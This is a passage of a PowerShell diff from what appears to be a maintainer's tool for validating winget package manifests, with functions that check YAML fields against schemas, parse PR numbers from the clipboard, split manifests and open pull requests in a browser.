"$Section $Item Schema Begin - $($Schema.description)"} + $SchemaCheck = Get-SchemaCheck -InputData $String -YamlValue $Item -SchemaInfo $Schema + }# end if String + } else { + if ($debug) {Write-Host "$Section Schema Begin"} + $SchemaCheck = Get-SchemaCheck -InputData $String -SchemaInfo $Schema + }# end if Item + + + if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($debug) {Write-Host "$Section $Item Schema Tombstone FastFail"};Return $Null} + if ($debug) {Write-Host "$Section $Item Schema Pass"} + Return $SchemaCheck +} + +Function Get-ManifestValidation { +#Detect indentation by splitting on the enum'd key and equals against enum'd intentation strings. On match, return the enum. +#This gives us the enum'd indentation, enum'd key, and schema'd value. And the schema will check each of these for necessity. + Param( + [string[]]$StrArray, + [switch]$NoRun, + [switch]$Display, + [switch]$Display2 + ); #end Param + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ManifestValidation $($StrArray.length)"}; + [string]$out = "" + [string]$Filename = "" + [string]$FileType = "" + [string]$ListKey = "" + [string[]]$Extensions = $Enum.ManifestFileExtension.Locale , $Enum.ManifestFileExtension.Installer , $Enum.ManifestFileExtension.Root + if ($StrArray.Length -eq 1) { + #In case the array got stuffed into the first slot instead of being split linewise. + $StrArray = $StrArray -split "`n" + if ($Display) {Write-Host "Splitting string - new length: $($StrArray.length)"} + } + + Foreach ($String in $StrArray) { + if ($Display2) {Write-Host "String: $String"} + # While ($FileType -eq "") { + if ($String -match "ManifestType") { + foreach ($ManifestFileType in (get-keys $Enum.ManifestFileTypes)) { + if ($Display) {Write-Host "FileType: $ManifestFileType"} + if ($String -match $ManifestFileType) { + If ($FileType -eq "") { + $FileType = $Enum.ManifestFileTypesReverse.($ManifestFileType -replace "[.]","") + if ($Display) {Write-Host "FileType found: $FileType"} + # $SchemaCheck = Get-SchemaCheck -InputData $CheckValue -SchemaInfo (Get-SchemaFinder -File $FileType -Property $Enum.ManifestDefaultLocaleProperties.PackageLocale) + }; #end if String + }; #end if String + }; #end foreach Extension + }; #end if String + # }; #end While FileType + }; #end Foreach String + $PropertiesToUse = switch ($FileType) { + $Enum.ManifestFileTypeNames.Locale { + $Enum.ManifestLocaleProperties + } + $Enum.ManifestFileTypeNames.defaultLocale { + $Enum.ManifestDefaultLocaleProperties + } + $Enum.ManifestFileTypeNames.Installer { + $Enum.ManifestInstallerProperties + } + $Enum.ManifestFileTypeNames.Version { + $Enum.ManifestVersionProperties + } + $Enum.ManifestFileTypeNames.Root { + $Enum.ManifestVersionProperties + $FileType = $Enum.ManifestFileTypeNames.Version + #This is hacky but I'm too tired to make it not hacky. + } + } + if ($Display2) {Write-Host "PropertiesToUse: $PropertiesToUse"} +#Foreach string, if it matches the built string, then the schema validation for that section starts. Every subsequent string gets tried agasint that file type's schema. + if ($FileType) { + Foreach ($String in $StrArray) { + if ($Display) {Write-Host "String: $String"} + if ($Display2) {Write-Host "S: $s - Filename: $Filename - String $String"} + #First, match against enum'd string indentation, and put that in a var + foreach ($Indentation in (Get-Keys $enum.IndentationStylesReverse)) { + if ($Display) {Write-Host "Indentation $($enum.IndentationStylesReverse.($Indentation))"} + if ($String -match ("^"+$Indentation+"[a-zA-Z]")) { + if ($Display) {Write-Host "Found Indentation $($enum.IndentationStylesReverse.($Indentation))"} + $out += $Indentation + $String = $String -replace $Indentation,"" + }; #end if String + }; #end foreach Indentation + #Then, use the matched key type to build the key part. Then match against that key part, and also store that in a var. + if ($String -match "[:] |-") { + $String = $string -replace "[:] [|][-]",":-" #Need to hide the space between the colon and the pipe, so it skips the first option below but hits the second. + } + if ($String -match "[:] ") { + if ($Display) {Write-Host "Yaml detected"} + foreach ($Property in (Get-Values $PropertiesToUse)) { + if ($Display2) {Write-Host -nonewline "Property $Property - "} + $PropertyColon = $Property + ": " + $SplitString = $String -split ": " + if ($SplitString[0] -eq $Property) { + if ($Display) {Write-Host "Found Property $Property"} + $ListKey = "" + $out += $PropertyColon + $String = $SplitString[1]# -replace $PropertyColon,"" + $SchemaToUse = Get-SchemaFinder -File $FileType -Property $Property + if ($Display) {Write-Host "SchemaToUse $($SchemaToUse.description)"} + $SchemaCheck = Get-SchemaCheck -InputData $String -SchemaInfo $SchemaToUse + if ($Display) {Write-Host "Found String $String"} + $out += $SchemaCheck + }; #end if String + }; #end foreach Property + } elseif ($String -match "[:]") { + #If you are here, then you're a list header. + if ($Display) {Write-Host "Yaml List detected"} + foreach ($Property in (Get-Values $PropertiesToUse)) { + if ($Display2) {Write-Host -nonewline "Property $Property - "} + $PropertyColon = $Property + ":" + $SplitString = $String -split ":" + if ($SplitString[0] -eq $Property) { + $ListKey = $Property + if ($Display) {Write-Host "Found ListKey $Property"} + if ($SplitString[1] -match "-") { + $PropertyColon = $PropertyColon + " |-" + } + $out += $PropertyColon + }; #end if String + }; #end foreach Property + } elseif ($String -ne "") { + #If you are here, then you're a list item. + if ($ListKey -ne "") { + # $ListKey = $ListKey -replace "s$","" -replace "ie$","y" + $ItemKey = $ListKey + "_items" + if ($Display) {Write-Host "Yaml List Item $ItemKey detected"} + $SchemaToUse = Get-SchemaFinder -File $FileType -Property $ItemKey + if ($Display) {Write-Host "SchemaToUse $($SchemaToUse.description)"} + $SchemaCheck = Get-SchemaCheck -InputData $String -SchemaInfo $SchemaToUse + if ($Display) {Write-Host "Found Data $SchemaCheck"} + $out += $SchemaCheck + }; #end if String + }; #end if String + if ($Display2) {Write-Host " S: $s - Filename: $Filename - FileType $FileType - String $String"} + $out = ($out + "`n") -replace "`n`n","`n" + }; #end for StrArray + $out = "# Deterministic Automation build $build - auto-regenerated $FileType header.`n`n" + $out + if ($NoRun) { + Return $out + } else { + Get-ManifestFile -InstallerFile ($out -split "`n") + } + } +<# iterations +1. Remove hidden characters +2. Above plus schema validation. +3. Above plus further isolation. +4. Regenerate files with enumeration. +5. Separate into string array. +6. Schema validate with SchemaCheck everywhere +7. Regenerate with enumeration where possible, regenrate with schema validation for the rest. +8. Find Schema with SchemaFinder +9. Pull schema values round-robin from string array. +10. Slice up manifest, ManifestFile +11. Single run through manifest +12. Slicee up manifest then run through, then ManifestFile +#> +} + +Function Get-UpdateGHPAT { + [CredManager.Util]::SetUserCredential("GitHubToken", "Gilgamech",(Get-Clipboard)) +} + +#Needs +#Readd try/catch fastfail lines + +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +################################ - Clipboard - ############################### +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Function Get-CleanClipboard { + Param( + [String[]]$StrArray = $null, + [switch]$Debug + ); #end Param + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-CleanClipboard $($StrArray.length)"}; + $StrArrayMaxLength = 2048 + + if ($null -ne $StrArray) { + if ($debug) {Write-Host "StrArray detected in Parameters"}; + if ($StrArray.length -gt $StrArrayMaxLength) {if ($debug) {Write-Host "Init StrArray Length FastFail $($StrArray.length)"};Return $Null} + } else { + try { + if ($debug) {Write-Host "Get StrArray from Clipboard"}; + [string[]]$StrArray = ((Get-Clipboard) -replace $Enum.Regex.CleanClipRegex,$null) + if ($StrArray.length -gt $StrArrayMaxLength) {if ($debug) {Write-Host "Init StrArray Length FastFail $($StrArray.length)"};Return $Null} + } catch { + if ($debug) {Write-Host "Clipboard FastFail"}; + Return $Null + } + } + Return $StrArray +}; #end Get-CleanClipboard + +Function Get-QueryClipboard { + Param( + [ValidateScript( { $_ -in ((Get-Keys $Enum.ClipboardQueries) -OR (Get-Keys $Enum.ManifestFileTypeNames)) } )] + [string]$Query, + [string]$MatchData, #This should only ever be a YAML or JSON key type of string. + [String[]]$StrArray = $null, + [switch]$Display + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-QueryClipboard $Query"}; + +#Get-QueryClipboard -Query $Enum.ClipboardQueries.PRWatch -StrArray ((Get-PRManifest -pr $PR) -split "`n") -Debug + + # try { + $StringMaxLength = 2048 + $StrArrayMaxLength = 2048 + $StringRegex = "[a-zA-Z]{0,256}"#Need to add a few more chars. + $Mandatory = @{} + [string[]]$keys = $null + $StrArray = Get-CleanClipboard $StrArray + + Switch ($Query) { + $Enum.ClipboardQueries.AllPRsOnClipboard { + [int[]]$out = @() + Foreach ($String in $StrArray) { + #Replace with a String schema. + if ($String.length -gt $StringMaxLength) {if ($Display) {Write-Host "$Query String Length FastFail $($String.length)"};Return $Null} + If ($String -notmatch $StringRegex) {if ($Display) {Write-Host "$Query String Regex FastFail"};Return $Null} + + if ($Display) {Write-Host "$Query String $String"}; + [string[]]$SplitString = $String -replace "#"," " -split $Enum.Char.Space + Foreach ($SubString in $SplitString) { + if (($SubString -match ($MVschemaData.PR.Number.pattern -replace "/","\/"))) { + if ($Display) {Write-Host "$Query SubString $SubString"}; + $SchemaCheck = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $SubString) + if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($Display) {Write-Host "$Query Schema Tombstone FastFail"};Return $Null} + [int]$mid = $SchemaCheck + if (($mid -gt 9999) -AND ($mid -lt 1000000)) { + if ($Display) {Write-Host "$Query mid $mid out $out"}; + $out += $mid + }# end if mid + }# end if SubString + }#end Foreach SubString + }# end Foreach String + $out = $out | Select-Object -Unique + if ($Display) {Write-Host "$Query out $out"}; + } + $Enum.ClipboardQueries.PRWatch { + $out = "" | Select-Object $Enum.SchemaKeysEtc.ManifestReview, $Enum.ManifestKeys.InstallerType, $Enum.ManifestKeys.PackageVersion, $Enum.ManifestKeys.PackageIdentifier, $Enum.ManifestKeys.AgreementUrl, $Enum.Strings.WordFilterList, $Enum.ManifestKeys.DisplayVersion ,$Enum.ManifestKeys.InstallerUrl + $keys = Get-Keys $out + + + foreach ($String in $StrArray) { + if ($String.length -gt $StringMaxLength) {if ($Display) {Write-Host "$Query String Length FastFail $($String.length)"};Return $Null} + # If ($String -notmatch $StringRegex) {if ($Display) {Write-Host "$Query String Regex FastFail"};Return $Null} + $out.ManifestReview = (Get-ManifestCovertReview $String) + $String = $String | Get-RemoveQuotes + if ($Display) {Write-Host "$Query String: $String"} + + + $Item = $Enum.ManifestKeys.DisplayVersion + $ThisItemschemaData = $schemaData.installer.definitions.AppsAndFeaturesEntry.Properties.($Item) + [bool]$Mandatory.($Item) = $True + if ($ThisItemschemaData.type -contains $Enum.SchemaKeysEtc.Null) {$Mandatory.($Item) = $False} + if ($String -match ($Item + ":")) { + $SchemaCheck = Get-SchemaCheck -InputData $String -YamlValue $Item -SchemaInfo $ThisItemschemaData + if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($Display) {Write-Host "$Query $Item Schema Tombstone FastFail"};Return $Null} + if ($Display) {Write-Host "$Query $Item Schema Pass $SchemaCheck"} + [string]$out.($Item) = $SchemaCheck + }# end if String + + $Item = $Enum.ManifestKeys.InstallerType + $ThisItemschemaData = $schemaData.installer.definitions.($Item) + [bool]$Mandatory.($Item) = $True + if ($ThisItemschemaData.type -contains $Enum.SchemaKeysEtc.Null) {$Mandatory.($Item) = $False} + if ($String -match ($Item + ":")) { + $SchemaCheck = Get-SchemaCheck -InputData $String -YamlValue $Item -SchemaInfo $ThisItemschemaData + if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($Display) {Write-Host "$Query $Item Schema Tombstone FastFail"};Return $Null} + if ($Display) {Write-Host "$Query $Item Schema Pass $SchemaCheck"} + [string]$out.($Item) = $SchemaCheck + }# end if String + + $Item = $Enum.ManifestKeys.PackageVersion + $ThisItemschemaData = $schemaData.installer.definitions.($Item) + [bool]$Mandatory.($Item) = $True + if ($ThisItemschemaData.type -contains $Enum.SchemaKeysEtc.Null) {$Mandatory.($Item) = $False} + if ($String -match ($Item + ":")) { + $SchemaCheck = Get-SchemaCheck -InputData $String -YamlValue $Item -SchemaInfo $ThisItemschemaData + if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($Display) {Write-Host "$Query $Item Schema Tombstone FastFail"};Return $Null} + if ($Display) {Write-Host "$Query $Item Schema Pass $SchemaCheck"} + [string]$out.($Item) = $SchemaCheck + }# end if String + + $Item = $Enum.ManifestKeys.PackageIdentifier + $ThisItemschemaData = $schemaData.installer.definitions.($Item) + [bool]$Mandatory.($Item) = $True + if ($ThisItemschemaData.type -contains $Enum.SchemaKeysEtc.Null) {$Mandatory.($Item) = $False} + if ($String -match ($Item + ":")) { + $SchemaCheck = Get-SchemaCheck -InputData $String -YamlValue $Item -SchemaInfo $ThisItemschemaData + if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($Display) {Write-Host "$Query $Item Schema Tombstone FastFail"};Return $Null} + if ($Display) {Write-Host "$Query $Item Schema Pass $SchemaCheck"} + [string]$out.($Item) = $SchemaCheck + }# end if String + + $Item = $Enum.ManifestKeys.AgreementUrl + $ThisItemschemaData = $schemaData.locale.definitions.Url + [bool]$Mandatory.($Item) = $True + if ($ThisItemschemaData.type -contains $Enum.SchemaKeysEtc.Null) {$Mandatory.($Item) = $False} + if ($String -match ($Item + ":")) { + $SchemaCheck = Get-SchemaCheck -InputData $String -YamlValue $Item -SchemaInfo $ThisItemschemaData + if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($Display) {Write-Host "$Query $Item Schema Tombstone FastFail"};Return $Null} + if ($Display) {Write-Host "$Query $Item Schema Pass $SchemaCheck"} + [string]$out.($Item) = $SchemaCheck + }# end if String + + $Item = $Enum.Strings.WordFilterList + $ThisItemschemaData = $MVschemaData.General.($Item) + [bool]$Mandatory.($Item) = $True + if ($ThisItemschemaData.type -contains $Enum.SchemaKeysEtc.Null) {$Mandatory.($Item) = $False} + $SchemaCheck = Get-SchemaCheck -InputData $String -SchemaInfo $ThisItemschemaData + if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($Display) {Write-Host "$Query $Item Schema Tombstone FastFail"};Return $Null} + if ($Display) {Write-Host "$Query $Item Schema Pass $SchemaCheck"} + [bool]$out.($Item) = $SchemaCheck + + #Optional for my system, mandatory for overall system. + $Item = $Enum.ManifestKeys.InstallerUrl + $ThisItemschemaData = $schemaData.installer.definitions.Installer.Properties.($Item) + [bool]$Mandatory.($Item) = $False + # if ($ThisItemschemaData.type -contains $Enum.SchemaKeysEtc.Null) {$Mandatory.($Item) = $False} + if ($String -match ($Item + ":")) { + $SchemaCheck = Get-SchemaCheck -InputData $String -YamlValue $Item -SchemaInfo $ThisItemschemaData + if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($Display) {Write-Host "$Query $Item Schema Tombstone FastFail"};Return $Null} + if ($Display) {Write-Host "$Query $Item Schema Pass $SchemaCheck"} + [string]$out.($Item) = $SchemaCheck + }# end if String + }# end foreach String + } + $Enum.ClipboardQueries.TrackerVMRunTracker { + $out = "" | Select-Object $enum.SchemaKeysEtc.SkipToContent, $enum.SchemaKeysEtc.manifests + $keys = Get-Keys $out + + foreach ($String in $StrArray) { + [string]$string = $string + + $Item = $Enum.SchemaKeysEtc.SkipToContent + If (!$out.($Item)) { + $ThisItemschemaData = $MVschemaData.General.($Item) + [bool]$Mandatory.($Item) = $True + if ($ThisItemschemaData.type -contains $Enum.SchemaKeysEtc.Null) {$Mandatory.($Item) = $False} + if ($Display) {Write-Host "$Query $Item Schema"} + $SchemaCheck = Get-SchemaCheck -InputData $String -SchemaInfo $ThisItemschemaData + if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($Display) {Write-Host "$Query $Item Schema Tombstone FastFail"};Return $Null} + if ($Display) {Write-Host "$Query $Item Schema Pass $SchemaCheck"} + [bool]$out.($Item) = $SchemaCheck + } + + $Item = $Enum.SchemaKeysEtc.manifests + $ThisItemschemaData = $MVschemaData.General.($Item) + [bool]$Mandatory.($Item) = $True + if ($ThisItemschemaData.type -contains $Enum.SchemaKeysEtc.Null) {$Mandatory.($Item) = $False} + if ($Display) {Write-Host "$Query $Item Schema"} + $SchemaCheck = Get-SchemaCheck -InputData $String -SchemaInfo $ThisItemschemaData + if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($Display) {Write-Host "$Query $Item Schema Tombstone FastFail"};Return $Null} + if ($Display) {Write-Host "$Query $Item Schema Pass $SchemaCheck"} + [string]$out.($Item) = $SchemaCheck + } + } + $Enum.ClipboardQueries.TrackerVMValidate { + $null = (Get-ManifestCovertReview $StrArray) + $out = "" | Select-Object $Enum.SchemaKeysEtc.PRNumber, $Enum.ManifestKeys.PackageIdentifier, $Enum.ManifestKeys.PackageVersion, $Enum.ManifestInstallerProperties.Architecture, $Enum.ManifestKeys.ElevationRequirement + $keys = Get-Keys $out + + $Item = $Enum.SchemaKeysEtc.PRNumber + $ThisItemschemaData = $MVschemaData.PR.Number + [bool]$Mandatory.($Item) = $True + if ($ThisItemschemaData.type -contains $Enum.SchemaKeysEtc.Null) {$Mandatory.($Item) = $False} + if ($StrArray) { + $SchemaCheck = Get-QueryClipboard -Query AllPRsOnClipboard -StrArray $StrArray + if ($SchemaCheck) { + if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($Display) {Write-Host "$Query $Item Schema Tombstone FastFail"};Return $Null} + if ($Display) {Write-Host "$Query $Item Schema Pass $SchemaCheck"} + if ($SchemaCheck.gettype().name -eq "int[]") { + [int]$out.($Item) = $SchemaCheck[0] + } else { + [int]$out.($Item) = $SchemaCheck + if ($Display) {Write-Host "$Query $Item SchemaCheck Type $($SchemaCheck.gettype().name)"} + }# end if StrArray + } + }# end if StrArray + foreach ($String in $StrArray) { + $Item = $Enum.ManifestKeys.PackageIdentifier + $ThisItemschemaData = $schemaData.installer.definitions.($Item) + [bool]$Mandatory.($Item) = $True + if ($ThisItemschemaData.type -contains $Enum.SchemaKeysEtc.Null) {$Mandatory.($Item) = $False} + if ($String -match ($Item + ":")) { + $SchemaCheck = Get-SchemaCheck -InputData $String -YamlValue $Item -SchemaInfo $ThisItemschemaData + if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($Display) {Write-Host "$Query $Item Schema Tombstone FastFail"};Return $Null} + if ($Display) {Write-Host "$Query $Item Schema Pass $SchemaCheck"} + [string]$out.($Item) = $SchemaCheck + }# end if String + + $Item = $Enum.ManifestKeys.PackageVersion + $ThisItemschemaData = $schemaData.installer.definitions.($Item) + [bool]$Mandatory.($Item) = $True + if ($ThisItemschemaData.type -contains $Enum.SchemaKeysEtc.Null) {$Mandatory.($Item) = $False} + if ($String -match ($Item + ":")) { + $SchemaCheck = Get-SchemaCheck -InputData $String -YamlValue $Item -SchemaInfo $ThisItemschemaData + if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($Display) {Write-Host "$Query $Item Schema Tombstone FastFail"};Return $Null} + if ($Display) {Write-Host "$Query $Item Schema Pass $SchemaCheck"} + [string]$out.($Item) = $SchemaCheck + }# end if String + + $Item = $Enum.ManifestInstallerProperties.Architecture + $ThisItemschemaData = $schemaData.installer.definitions.($Item) + [bool]$Mandatory.($Item) = $True + if ($ThisItemschemaData.type -contains $Enum.SchemaKeysEtc.Null) {$Mandatory.($Item) = $False} + if ($String -match ($Item + ":")) { + $SchemaCheck = Get-SchemaCheck -InputData $String -YamlValue $Item -SchemaInfo $ThisItemschemaData + if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($Display) {Write-Host "$Query $Item Schema Tombstone FastFail"};Return $Null} + if ($Display) {Write-Host "$Query $Item Schema Pass $SchemaCheck"} + [string[]]$out.($Item) = $SchemaCheck + }# end if String + + $Item = $Enum.ManifestKeys.ElevationRequirement + $ThisItemschemaData = $schemaData.installer.definitions.($Item) + [bool]$Mandatory.($Item) = $True + if ($ThisItemschemaData.type -contains $Enum.SchemaKeysEtc.Null) {$Mandatory.($Item) = $False} + $SchemaCheck = Get-SchemaCheck -InputData $String -SchemaInfo $ThisItemschemaData + if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($Display) {Write-Host "$Query $Item Schema Tombstone FastFail"};Return $Null} + if ($Display) {Write-Host "$Query $Item Schema Pass $SchemaCheck"} + [bool]$out.($Item) = $SchemaCheck + + } + } + Default { + if ($Display) {Write-Host "Default FastFail"};Return $Null + }# end Default + }# end Switch Type + if ($Query -ne $Enum.ClipboardQueries.AllPRsOnClipboard) { + foreach ($Key in $Keys) { + if ($True -eq $Mandatory.$Key) {#If Mandatory + if ($null -match $out.$Key) {#If not found + if ($Display) {Write-Host "Get-QueryClipboard Keys $key - Key Mandatory $($Mandatory.($Key)) - Key Detected $([bool]$out.($Key))" -f red} + Return $Null + } else {#If found + if ($Display) {Write-Host "Get-QueryClipboard Keys $key - Key Mandatory $($Mandatory.($Key)) - Key Detected $([bool]$out.($Key))"} + } + } else {#If Optional + if ($Display) {Write-Host "Get-QueryClipboard Keys $key - Key Mandatory $($Mandatory.($Key)) - Key Detected $([bool]$out.($Key))"} + } + } + } + Return $out + # } catch { + # if ($Display) {Write-Host "Query Error FastFail: $($Error[0])"}; + # # Return $Enum.Strings.FastFailTombstone + # } +} + +Function Get-ManifestSplitter {#The ol' manifest splitter + Param( + [Parameter(Mandatory)][string]$PackageIdentifier, + [Parameter(Mandatory)][string]$PackageVersion, + [String[]]$StrArray = $null, + [switch]$OutputToVariable, + [switch]$NoRun, + [switch]$Display + ); #end Param + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ManifestSplitter $PackageIdentifier"}; + # $StrArray = Get-CleanClipboard $StrArray + $StrArray = (Get-CleanClipboard $StrArray) -split "`n" + $out = @{} + [string]$Filename = "" + [string]$FileType = "" + #Match the PackageIdentifier and PackageVersion, then get extensions from enum + [string[]]$Extensions = $Enum.ManifestFileExtension.Locale , $Enum.ManifestFileExtension.Installer , $Enum.ManifestFileExtension.Root + $FileString = "^"+$Enum.Strings.manifests + for ($s = 1 ; $s -le $StrArray.length ; $s++) { + # if ($Display) {Write-Host "S: $s - Filename: $Filename - String $String"} + $String = $StrArray[$s] | where {$_ -notmatch "^[+]"} +#Foreach string, if it matches the built string, then the schema validation for that section starts. Every subsequent string gets tried agasint that file type's schema. + if ($String -match "yaml") { + if ($Display) {Write-Host "Get-ManifestSplitter yaml String: $String"} + foreach ($Extension in $Extensions) { + $FileString = $PackageVersion + "/" + $PackageIdentifier + $Extension + if (($String -match $Extension) -AND ($String -match $FileString)) { + [string]$CurrentExtension = ($String -split $Extension)[1] + $FileType = $Enum.ManifestFileTypesReverse.($Extension -replace "[.]","") + if ($Extension -match $Enum.ManifestFileTypes.Locale) { + if ($Display) {Write-Host "Get-ManifestSplitter Locale CurrentExtension $CurrentExtension"} + [string]$CheckValue = $CurrentExtension -replace $Enum.ManifestFileExtension.Root,"" -replace "[.]","" -replace " ","" + $CheckValue = $CheckValue.trim() + #Need to validate this + #Need to validate this + #Need to validate this + $co = [System.Text.Encoding]::UTF8.GetBytes($CheckValue) + if ($Display) {Write-Host "CheckValue: $CheckValue $($CheckValue.length) $($CheckValue -match 'en-US ') $co"} + # $SchemaCheck = $CheckValue + # $SchemaCheck = Get-SchemaCheck -InputData $CheckValue -SchemaInfo (Get-SchemaFinder -File $FileType -Property $Enum.ManifestDefaultLocaleProperties.PackageLocale) + if ($Display) {Write-Host "Get-ManifestSplitter SchemaCheck: $SchemaCheck"} + #Need to validate this + #Need to validate this + #Need to validate this - if you're reading this, then I haven't validated it. Please stop me and tell me. + $SchemaCheck = $Enum.ManifestFileExtension.Locale + "." + $SchemaCheck + $Enum.ManifestFileExtension.Root + } else { + $SchemaCheck = $Extension + $CurrentExtension + } + # $Filename = "Package" + $SchemaCheck + $Filename = $SchemaCheck + if ($Display) {Write-Host "Get-ManifestSplitter Found String: $String - Extension: $Extension - CurrentExtension: $CurrentExtension - FileString: $FileString"} + }; #end if String + }; #end foreach Extension + }; #end if String + $SchemaCheck = $String + $out.($FileType) += $SchemaCheck + "`n" + }; #end for StrArray + $out.remove(""); + if ($OutputToVariable) { + Return $out + } else { + # [string[]]$vals = $out.values + if ($NoRun) { + $vals | %{Get-ManifestValidation $_ -NoRun} + } else { + $vals | %{Get-ManifestValidation $_} + } + } +} + +Function Get-YamlValue { + Param( + [string]$Key, + [Parameter(ValueFromPipeline)][string[]]$InputArray, + [switch]$JSON, + [switch]$Display + ) + Process { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-YamlValue $Key"}; + if ($JSON) { + $Key = "`"$($Key)`": " + } else { + $Key = "$($Key): " + } + # $InputArray = $InputArray -split $Enum.Char.LineBreak | where {$_ -match $Key} + $InputArray = $InputArray | where {$_ -match $Key} + if ($Display) {Write-Host "Get-YamlValue (A): $InputArray"} + if ($InputArray) { + [string[]]$InputArray = $InputArray | Select-Object -unique + if ($Display) {Write-Host "Get-YamlValue (B): $InputArray"} + [string[]]$InputArray = $InputArray[$Enum.Index.First] + if ($Display) {Write-Host "Get-YamlValue (C): $InputArray"} + [string]$String = ($InputArray -split ($Enum.Char.Colon + $Enum.Char.Space))[$Enum.Index.Second] + # [$Enum.Index.Second..99] + if ($Display) {Write-Host "Get-YamlValue (D): $String"} + $String = ($String -split $Enum.Char.Hash)[$Enum.Index.First] + if ($Display) {Write-Host "Get-YamlValue (E): $String"} + $String = ((($String.ToCharArray()) | where {$_ -match "\S"}) -join $Enum.Char.Blank) + if ($Display) {Write-Host "Get-YamlValue (F): $String"} + } + $String + } +} + +Function Get-AllPRsOnClipboard { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-AllPRsOnClipboard $PR"}; + return Get-QueryClipboard -Query $Enum.ClipboardQueries.AllPRsOnClipboard +} + +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +################################ - Et Cetera - ############################### +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Function Open-PRInBrowser { + Param( + [int]$PR, + [Switch]$Files + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRInBrowser $PR"}; + $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) + $URL = "$GitHubBaseUrl/pull/$PR#issue-comment-box" + if ($Files) { + $URL = "$GitHubBaseUrl/pull/$PR/files" + } + Start-Process $URL + Start-Sleep $GitHubRateLimitDelay +}#end Function + +Function Test-Admin { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Test-Admin"}; + $UserGroups = ([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups + if (![bool]($UserGroups -match $Enum.TestAdmin.AdminString)){ + Write-Host $Enum.TestAdmin.TryElevatingYourSession; + Break + } +} + +Function Get-TrackerProgress { + Param( + [string]$Activity, + [string]$ItemName, + [int]$ItemNumber, + [int]$TotalItems, + $Percent = [math]::round($ItemNumber / $TotalItems*100,$Enum.Num.Two) + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerProgress $Activity"}; + Write-Progress -Activity $Activity -Status "$ItemNumber / $TotalItems = $Percent % - $ItemName" -PercentComplete $Percent +} + +Function Get-ArraySum { + Param( + $in = $Enum.Num.Zero, + $out = $Enum.Num.Zero + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ArraySum $in $out"}; + $in |ForEach-Object{$out += $_* $Enum.Num.One} + [math]::Round($out,$Enum.Num.Two) +} + +Function Get-StringOrArrayLast { + Param( + $StringOrArray, + $ArrayIndex = $Enum.Index.Last + ) + if ($null -ne $StringOrArray) { + if ($StringOrArray.GetType().name -eq $Enum.PSDataTypes.String) { + Return $StringOrArray + } else { + Return $StringOrArray[$ArrayIndex] + } + } else { + Write-Host "$($MyInvocation.MyCommand.name): StringOrArray $StringOrArray not found (length $($StringOrArray.Length)" + } +} + +Function Get-Diff { + Param( + $Left, + $Right, + [ValidateScript( { $_ -in (Get-Keys $Enum.DiffData)} )][string]$Side = $Enum.DiffData.Left + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-Diff $($Left.count) $($Right.count)"}; + $matchSide = $Enum.Char.Blank + switch ($Side) { + $Enum.DiffData.Left { + $matchSide = $Enum.DiffData.LeftSide + } + $Enum.DiffData.Right { + $matchSide = $Enum.DiffData.RightSide + } + default { + Write-Host "Error: Side $Side is neither Left nor RIght!" + Break + } + } + $mid = Compare-Object $Left $Right | where {$_.SideIndicator -match $matchSide} + $out = $mid.inputobject + return $out +} + +Function Get-RemoveQuotes { + Param( + [Parameter(ValueFromPipeline)][string]$String + ) + Process { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-RemoveQuotes $String"}; + $String -replace $Enum.Char.DoubleQuote,$Enum.Char.Blank-replace $Enum.Char.SingleQuote,$Enum.Char.Blank + } +} + +Function Get-Keys { + Param( + $Data + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace 